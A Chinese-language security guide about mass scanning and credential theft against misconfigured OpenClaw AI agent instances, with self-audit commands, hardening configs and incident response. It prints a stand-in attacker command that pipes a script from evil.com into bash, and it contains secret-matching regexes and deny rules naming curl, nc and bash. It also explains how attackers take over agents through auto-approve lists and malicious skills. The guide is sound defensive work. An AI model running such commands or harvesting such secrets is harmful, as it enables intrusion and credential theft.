OpenClaw配置失守与凭证窃取：从自查到加固的完整安全指南

近一周我连续收到好几条求助，都是同一类问题：自己或同事部署的OpenClaw实例被陌生会话登录了，有的连API密钥都被人拷走。起初我也觉得只是个例，但排查过程中看到的痕迹基本一致——不是人工手动点的，而是脚本化扫描后的批量命中。结合威胁情报平台和几个活跃安全社群的讨论，方向已经比较明确：攻击者正在全网扫描配置不当的OpenClaw服务，批量窃取配置文件里的登录凭证和密钥，然后尝试远程接管这些AI Agent实例。受影响实例很可能已经数以万计。这篇文章会完整拆解这次风险的形成链条——OpenClaw配置为什么成了突破口，登录凭证是怎么被批量偷走的，以及从自查到加固的完整操作。不贩卖焦虑，只想帮正在用、准备用的人把安全账补上。

1. OpenClaw攻击面全景：为什么这次不是普通漏洞通告

1.1 OpenClaw 的部署模型与配置落点

先简单说下OpenClaw是什么。它本质上是AI Agent类的工具，能按自然语言指令工作，替你读写文件、执行Shell命令、调用API、操作Git仓库，甚至通过配置接入飞书这类通讯软件收发任务消息，也可以对接外部模型服务，比如配置NVIDIA NIM或自定义中转站。你可以把它理解成一个高权限的自动化管家：它能干很多事，但也意味着如果门没锁好，进来的人能直接在你的机器上为所欲为。

它的配置和数据主要落在几个地方：

• 主配置目录，Linux和macOS下通常是 ~/.openclaw/，Windows下是 C:\Users\<用户名>\.openclaw\
• 命令执行审批文件 exec-approvals.json，记录哪些命令会被自动放行
• workspace 目录，Agent读写文件的默认工作区
• 日志与会话数据
• 环境变量或配置文件里存放的API凭证

这些文件本身并不是秘密，问题是大量部署教程根本没提权限和鉴权。用户按教程跑起来就用，默认监听地址、默认目录权限、默认审批策略，等于给攻击者留了一条不需要暴力破解就能进来的路。

1.2 “数万实例”不是夸大：是谁把攻击面铺大的？

从威胁情报视角看，这次影响面之所以大，几个因素叠加在一起。

第一，OpenClaw的部署门槛比过去低。流行的安装方式包括PowerShell脚本、便携包、云端一键部署。脚本执行完就算装好了，但很多脚本只保证了软件能跑，并没有做端口绑定、防火墙策略、鉴权配置。热词里你能看到大量“openclaw安装”“openclaw部署”“如何在云端部署openclaw”“powershell安装openclaw”这类搜索，说明涌入的新手开发者非常多，他们大多只关心能不能跑起来。

第二，大量“配置教程”和“调校包”在加速风险扩散。市面上出现了不少非官方渠道的配置包、第三方配置源、Skill市场里的免费技能，这类内容通常能提升功能，但没人审查它们会不会在配置里夹带后门，或者诱导用户把审批策略改成全自动放行。我见过某个“已更新”的配置源说明，里面最重要的一句提示不是“请做好密钥隔离”，而是“下载后放这里就能用”。这种操作方式就是在给攻击者送入口。

第三，使用场景让它更危险。很多人不止在本地跑，还把OpenClaw部署到云服务器、内网机器、备机上，为的是随时访问、远程调度、接到飞书机器人做自动化。云端部署意味着公网可达；就算部署在内网，如果开机自启、端口未限制，同一个局域网里的其他设备也可能访问到。

第四，使用者群体以个人开发者、研究人员、项目管理者为主，安全意识和投入普遍有限。最常见的情况是：一个人负责把功能跑通，没人负责安全基线。

1.3 攻击者眼中的OpenClaw价值排序

攻击者为什么对OpenClaw感兴趣，不是因为它本身是明星产品，而是因为它能连接外部世界。拿到一个失控的OpenClaw实例，相当于拿到了：

• 一台能执行任意命令的机器
• 一个能读取代码仓库和文档的入口
• 一个可能存有云厂商AK/SK、数据库密码、第三方Token的保险柜
• 一个可以对外发起请求的跳板
• 一个能横向进入内网的节点
• 一个可被滥用的AI API额度，甚至可能被用于发送钓鱼消息

这也是为什么“远程接管”对攻击者有真实价值。普通服务器被攻破后，攻击者可能只是拿到一台“资源机”；OpenClaw被接管后，攻击者拿到的是一个能自主行动的Agent身份，它可以在你毫无感知的情况下持续产生命令、读写文件、调用外部服务。对攻击者来说，控制一个Agent比控制一台空置的服务器划算得多。

2. 从配置失守到凭证失窃：一次完整的攻击链推演

2.1 第一步：配置信息怎么“出的网”

要批量窃取凭证，攻击者必须先拿到配置文件。注意，不是所有攻击都像电影里那样先攻破防火墙才叫入侵，更多时候是配置自己把自己暴露了。

路径一：服务监听在公网且无鉴权。很多云端部署教程会让用户直接跑默认启动命令，服务默认绑定到 0.0.0.0，配合云厂商安全组放行端口，配置文件就能被远程读取。我实测过一种情况：服务启动后直接暴露了API端口，访问特定端点就能看到路径信息、配置目录结构，某些版本甚至会把配置明文返回。

路径二：配置目录权限松弛。假设一台多用户Linux服务器，~/.openclaw 目录权限是777，那同机的任何低权限用户都能把配置拷走。攻击者一旦通过网站或Web应用拿到一个普通Shell，优先找的就是这类目录。

路径三：日志泄漏。Agent工具为了调试方便，经常会把完整配置或读取到的命令结果记到日志文件里。如果日志被开放了读取接口，或者日志被同步到公开的日志平台，就等于把凭证做了“半公开”。

路径四：备份和同步工具。很多人会用同步盘、网盘、Git仓库去备份配置目录，而且有些备份仓库是公开的。搜索代码托管平台就能看到大量“dotfiles”仓库，里面躺着的 .openclaw 配置、.env 文件、SSH私钥、API Token，一抓一个准。

路径五：第三方配置源和教程包。前面提到的非官方配置源、一键调校包，本质上就是把不明来源的配置文件下载到你机器上。如果这些文件里被埋入了远程地址，或者脚本里包含回传代码，那么在你执行的那一刻，配置和凭证已经发出去了。这类路径在热词里的体现就是“zyfun2026配置源(已更新)”“openclaw便携包”这类搜索词——它们的功能性很强，但安全来源完全没有保障。

2.2 第二步：登录凭证在OpenClaw里是怎么被批量提取的

拿到配置目录只是第一步，真正值钱的是里面的“登录凭证”和密钥。以下是我实际排查中看到的几种高频存储习惯：

明文写在配置文件里。比如把模型服务的API Key、中转站的Token直接写成字符串存在配置中，更有甚者，把云数据库密码、对象存储AccessKey都写进同一个文件。

保存在workspace里。默认工作区里可能存放着 .env 文件、Git凭据、依赖包里嵌入的Key、FTP/SFTP登录信息。Agent工作区的属性决定了“这个目录里什么都有可能”。

由Agent自身“读取”出来。OpenClaw可以执行任意命令，比如读取 ~/.ssh/id_rsa、读取 /proc/self/environ（环境变量里可能挂着密钥）、读取Git配置里的用户名和Token。攻击者拿到执行权后，根本不需要找更好的漏洞，直接命令行取件即可。

命令历史与会话记录。配置目录下可能保留交互历史、会话日志，里面有人类用户输入的各类密码、Token、验证码。这个细节容易被忽略，但攻击者很喜欢。

批量提取的方式很简单。攻击者通常不是逐个手工翻，而是写一个脚本做三件事：遍历配置目录下的所有 .json、.toml、.yaml、.env、.txt 文件；用正则匹配 sk-、AKIA、ghp_、xoxb- 开头的密钥串；把匹配结果打包回传。整个动作可以在几分钟内完成，并且可以完全自动化。这些正则匹配规则在攻击者社区几乎是公开的，等于攻击者有一张自动提取清单，你的配置里只要有过这类格式的字符串，被批量命中只是时间问题。

2.3 第三步：从凭证失窃到远程接管

拿到配置里的凭证后，攻击者要做的是“变成你”，以你的身份继续使用OpenClaw。

如果配置里保存的是远程API服务的登录凭证，攻击者可以直接调用你的账号额度，造成金钱损失；如果是代码托管平台的Token，攻击者可以直接克隆你的私有仓库、篡改代码；如果是云厂商的AK/SK，那这台实例已经完全不在你掌控下。

更隐蔽的是直接接管Agent本身。OpenClaw有命令执行审批机制，正常使用时，执行敏感命令需要人工同意，这是最后一道防线。但很多用户为了省掉“手动确认太烦”的步骤，会把大量命令加进 exec-approvals.json 自动审批名单，甚至有人直接把所有命令都设置为自动批准。一旦攻击者的指令落在自动批准名单里，它就能在没有任何提示的情况下执行任意命令，包括下载工具、上传文件、修改配置。

还有一类动作是植入恶意Skill。OpenClaw支持加载Skill技能包，攻击者可以在接管后写入一个新Skill，内容是一个“看似正常但实际在回传数据”的后门。此后就算你修改了登录凭证、重启Agent，恶意Skill依然在后台运行，形成持久化控制。热词里能看到“openclaw skill”“openclaw 自定义中转站”，这些功能如果落到攻击者手里，就是天然的持久化载体。

2.4 为什么是“批量”：扫描与自动化的逻辑

这次事件不是定向攻击，而是典型的批量化扫描。攻击者的操作基本是三步。

先做全网指纹扫描：通过端口扫描和路径探测，识别出开放了OpenClaw相关服务且无鉴权的公网IP。指纹特征通常很明确，比如特定端口的HTTP响应头、默认API路径、配置文件的读取方式。接着自动尝试读取配置：对命中目标发起请求，尝试读取配置文件、环境变量、workspace文件列表。最后批量提取凭证：把能拿到的密钥、Token、账号密码打包，按资产价值分拣入库。

这套逻辑不复杂，攻击者之间会共享扫描结果和利用脚本，所以“数万实例”这个量级并不夸张。我看过的多份威胁情报里，被扫到的目标数量级就是万级起步。而且这类扫描不会停，只要新实例不停上线，扫描就会持续发生。对攻击者来说，这是一门典型的低投入高回报生意。

3. 高危配置自查：先看看你自己的实例是否已暴露

3.1 exec-approvals.json 是不是已经是“自动放行清单”

最优先查的是审批策略。找到你的 exec-approvals.json，直接查看内容：

bash复制cat ~/.openclaw/exec-approvals.json

检查里面是不是有类似 "auto_approve": true、"*"，或者大量危险命令被列入白名单。如果图省事把所有命令都放行了，等于关闭了最后一道门。

补充一个经验：即使配置里没有列出 "*"，也要看具体规则范围。有的规则看似只放行了 npm install，但实际上命令匹配逻辑是前缀匹配的——攻击者可以构造 npm install && curl evil.com/shell.sh | bash 这样的链式命令，绕开你对单一命令的审查。所以审批规则必须考虑链式命令和管道符的绕过可能，不能只看字面。

3.2 workspace 目录和配置目录的权限体检

Linux环境下先看目录权限：

bash复制ls -ld ~/.openclaw ~/.openclaw/workspace
find ~/.openclaw -maxdepth 2 -type f -printf '%m %p\n' | sort -rn | head -20

如果发现 755、777 这类权限就要小心。多用户机器上，同机用户都可以访问时风险极大。配置目录至少应该是 700，文件至少应该是 600。

再检查目录里有没有不该出现的东西：

bash复制find ~/.openclaw/workspace -type f \( -name "*.env" -o -name "*id_rsa*" -o -name "*.pem" -o -name "*.key" \) -ls

这一步是把workspace当成“敏感文件仓库”来排查。很多人习惯把项目密钥临时放到工作区里，一旦Agent权限被滥用，这些文件等于主动送上门。

3.3 明文凭证的搜索方式

在配置目录和工作区里扫一遍，看看有多少明文密钥：

bash复制grep -rInE "(sk-[A-Za-z0-9]{20,}|AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36,}|xox[bap]-[A-Za-z0-9-]{10,})" ~/.openclaw/ 2>/dev/null | head -50

看到结果先不要紧张，重点是判断这些凭证是否仍然有效、是否应该存放在配置文件里。正确做法是改用环境变量注入、系统密钥环或专业的密钥管理服务。如果你发现某个密钥已经通过配置或日志出过网，不要只删文件——必须吊销重建，因为攻击者可能已经复制走了。

3.4 公网暴露面：端口与地址绑定检查

先看服务监听地址：

bash复制ss -lntp | grep -E "node|openclaw|python"

看监听地址是不是 0.0.0.0 或 ::。如果服务监听在公网网卡上并且没有前置鉴权，那你的实例基本属于“裸奔”状态。再检查防火墙规则：

bash复制sudo ufw status verbose
sudo iptables -L -n | head -50

如果你用了云服务器，还要登录云控制台检查安全组，入方向是否放行了不必要的高位端口。很多人的安全组规则是“全开”或者“1-65535均放行”，这在云上等于没有防火墙。

3.5 非官方配置源与Skill投毒自查

检查自己是否用过非官方配置源、第三方Skill，在配置目录里是否残留可疑远程地址：

bash复制grep -rInE "curl|wget|https?://|eval|exec|base64" ~/.openclaw/skills ~/.openclaw/*.json 2>/dev/null | head -100

重点看四个特征：启动或加载时向外部地址发起请求；把配置内容回传到第三方域名；脚本中出现base64解码后执行的可疑代码；声称“优化体验”“自动更新”却要求读取完整配置文件。任何一个命中，都建议立即停用相关Skill或配置源。

为了便于保存和转发，我把自查项整理成一张清单：

4. 加固落地：把OpenClaw从“裸奔”状态拉回来

4.1 审批策略：从“能跑”到“可控”

审批策略建议做到三件事。

第一，默认不自动放行敏感操作，包括删除、下载执行、curl管道bash、写入系统目录、修改权限。第二，建立分级规则：读取类命令可以自动放行，写入和执行类命令必须确认，涉及网络外联的命令单独审核。第三，定期review exec-approvals.json，删除不再需要的条目。

下面是一个审批规则的参考示例，格式不一定和你当前版本完全一致，但原则通用：

json复制{
  "auto_approve": false,
  "default_policy": "ask",
  "rules": [
    { "pattern": "^ls\\b", "policy": "allow" },
    { "pattern": "^cat\\b", "policy": "allow" },
    { "pattern": "^git status$", "policy": "allow" },
    { "pattern": "^(rm|mv|curl|wget|chmod|chown|sudo|base64|eval|python -c).*", "policy": "ask" },
    { "pattern": "^.*(\\||;|&&).*(curl|wget|nc|bash|sh).*", "policy": "deny" }
  ]
}

重点解释下这个示例的意图：只读命令放行是为了日常操作的顺畅；写和执行命令保留为人工确认；命令中包含管道、分号、双与号再叠加网络下载类工具的，直接拒绝。实际落地时不一定照抄，但思路值得参考——不要追求“零提示”，而是用有限的人工确认换取安全性。

4.2 凭证管理：从明文到保险箱

凭证管理做三件事。

第一，把配置里的明文密钥全部拿出来，迁到环境变量、系统密钥环或专业密钥管理工具。环境变量方式最简单，配合启动脚本即可；如果凭证较多，使用密钥管理服务或密码管理器统一托管。第二，给API凭证设置权限和有效期。GitHub Token只授权必要的仓库和权限范围，云厂商AK/SK只给特定服务或对象存储前缀的权限，不要一把钥匙开所有门。第三，建立轮换机制，每周或每月检查一次凭证使用情况，发现异常立即吊销重建。

凭证存储的优先级可以这么排：密钥管理服务 > 系统密钥环 > 环境变量 > 权限收紧的本地文件 > 明文配置文件。至少要做到“不是明文躺在配置目录里”。

4.3 网络边界：默认不对外、访问要过门禁

网络层面核心原则很简单：默认绑定到 127.0.0.1，只有确实需要远程访问时才改绑定，且必须配合鉴权。如果要从外网访问，优先用SSH隧道或私有组网工具，而不是直接对公网开放端口。如果必须通过HTTP访问，前置反向代理加身份认证，比如Caddy或Nginx配合Basic Auth或OAuth2 Proxy。

Caddy反代配置示例：

nginx复制agent.example.com {
    reverse_proxy 127.0.0.1:PORT
    basicauth {
        user $2a$14$...
    }
}

这个配置的意思是：公网请求先进反向代理，通过Basic Auth校验才转发到本机的OpenClaw服务。这样即使服务本身没有公网绑定意识，外部恶意请求也被挡在前面。加上私有组网工具，远端访问时连公网端口都不需要暴露，暴露面会进一步缩小。

4.4 监控与审计：让异常行为有迹可循

监控的目的不是拦截每一次攻击，而是缩短发现时间。建议从四个维度着手。

日志采集：把OpenClaw的运行日志、exec-approvals.json 的变更、workspace下的文件变更都纳入审计范围。异常检测：出现大范围文件读取、批量连接外网、定时任务新增等行为时触发告警。登录审计：跟踪Agent会话来源IP、使用时间段，设置异常提醒。文件完整性：对配置目录做哈希基线，定期比对。

bash复制# 检查最近新增的持久化项：定时任务、systemd服务、启动脚本
find /etc/systemd/system /etc/cron* -type f -mtime -7 2>/dev/null
# 检查shell配置是否被追加了可疑内容
grep -n "curl\|wget\|eval\|base64" ~/.bashrc ~/.profile ~/.bash_profile 2>/dev/null

这两条命令适合作为每周巡检的固定动作。虽然简单，但足够覆盖大多数后门持久化路径。

4.5 供应链安全检查清单

最后是供应链安全。这部分很容易被忽略，但恰恰是此次配置源事件中最值得警惕的环节。

安装包只从官方仓库或可信站点下载，校验哈希和签名。第三方Skill加载前先读源码，确认没有外联地址。避免使用“一键配置包”之类的非官方配置源。对配置源做版本锁定，不随意更新到“已更新”的第三方版本。热词里频繁出现“zyfun2026配置源(已更新)”，这种第三方源的每个版本都值得怀疑，因为你不知道更新里到底改了什么。

5. 被入侵之后的应急：一次完整复盘流程

5.1 常见异常信号

如果你不确定自己是否已经被入侵，先对照以下信号：

• 日志里出现陌生IP、非工作时间访问
• exec-approvals.json 被修改，比如突然多了很多自动批准规则
• workspace出现陌生文件，比如 /tmp 下的脚本、可疑的sh文件
• 云控制台出现未知的AK/SK调用记录
• 代码托管平台出现陌生Token活动
• 机器出现异常出网流量，主动连接从未连过的IP
• 有用户收到来自你的Agent会话发送的消息

任何一个信号命中，都值得按入侵来对待，而不是先自我安慰“可能是误报”。

5.2 第一优先级：止血

确认被入侵后的动作顺序很重要，处理不当会扩大损失。

先切断出网。可以先断网或封禁来源IP，阻止数据继续外传。接着吊销所有凭证。这是最重要的一条——把配置中出现过的API密钥、Token、AK/SK全部吊销，因为攻击者可能已经拿到。然后停止Agent进程，暂停OpenClaw服务。再清理后门，检查crontab、systemd、~/.bashrc、~/.ssh/authorized_keys、Skills目录，删除可疑项。最后修改所有关联账户密码。

有一点必须强调：如果只清理了后门而没有吊销凭证，攻击者很快就能再次进来。凭证吊销和隔离必须同时做。

5.3 取证与时间线重建

即使想马上恢复业务，取证资料也必须保留。建议保留以下内容：

• 原始日志文件副本，用 cp -a 复制到独立介质
• exec-approvals.json 当前版本和时间戳
• 攻击者可能读过的文件列表，可以通过文件的atime（访问时间）辅助判断
• 系统登录记录，last、/var/log/auth.log

然后尝试重建时间线：第一次异常会话发生在什么时候？攻击者执行了哪些命令？读取了哪些文件？这些信息对判断损失范围至关重要，也是后续向同事、上级说明情况的基础。

5.4 修复与重启安全基线

在确认清理完毕、配置加固之后才能重新上线。上线前建议完成五件事：修改所有默认配置，绑定本地地址；清理自动审批规则；更换全部凭证；在入口加一层认证；观察24小时，确认没有异常。

重新上线不等于“恢复原样”，而是借这个机会把安全基线提升到正常水平。如果你用了非官方配置源，这次无论如何要停用；如果你之前明文存密钥，这次必须迁移到环境变量或密钥管理服务。

5.5 实际复盘时间线示例

我处理过的一个真实案例，去敏后展示时间线逻辑：

• T0：威胁情报告警，某个已泄露的GitHub Token被使用
• T0+20分钟：定位到Token存放在服务器上的OpenClaw配置中
• T0+90分钟：确认攻击者通过公网API端口读取了配置目录，提取了GitHub Token和两条云厂商AK/SK
• T2：吊销全部凭证、封禁来源IP、保留全量日志
• T2+3小时：清理了一个恶意Skill和一个定时任务
• T+1天：完成加固，重新上线，24小时观察无异常

这个案例说明一个问题往往是连锁的：一个配置泄露可能引发多个账户沦陷。所以处理时不要只修OpenClaw本身，要站在“所有关联凭证都可能泄露”的前提下去做全面处置。

最后说一点个人体会。我处理过的安全事故里，绝大多数问题的根因不是技术难度，而是习惯问题——默认配置能用就不管、明文密钥图方便、审批策略求省事。OpenClaw这类AI Agent能力越强，配置里的权限就越大，安全债欠下来的代价也会成倍放大。如果你正准备部署，今天花二十分钟把安全基线做掉；如果你已经在用，把上面的自查清单跑一遍。别等收到那封“你的服务器已被入侵”的消息才想起来补救，到那个时点，最要紧的已经不是止损，而是你能不能在攻击者把一切都拿走之前反应过来。